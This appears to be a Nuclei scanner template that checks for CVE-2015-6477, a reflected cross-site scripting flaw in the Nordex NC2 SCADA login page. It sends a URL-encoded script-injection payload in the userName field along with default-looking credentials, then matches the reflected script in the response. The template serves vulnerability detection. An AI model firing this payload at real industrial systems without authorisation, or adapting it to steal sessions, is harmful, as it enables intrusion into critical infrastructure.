id: CVE-2015-6477

info:
  name: Nordex NC2  - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Dec/117
    - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6477
    - http://packetstormsecurity.com/files/135068/Nordex-Control-2-NC2-SCADA-16-Cross-Site-Scripting.html
    - http://seclists.org/fulldisclosure/2015/Dec/117
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6477
    cwe-id: CWE-79
    epss-score: 0.00277
    epss-percentile: 0.64703
    cpe: cpe:2.3:o:nordex:nordex_control_2_scada:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nordex
    product: nordex_control_2_scada
  tags: seclists,packetstorm,xss,iot,nordex,nc2,cve,cve2015

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    body: 'connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27{{randstr}}%27%29%3C%2Fscript%3E&pw=nordex&language=en'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "</script><script>alert('{{randstr}}')</script>"
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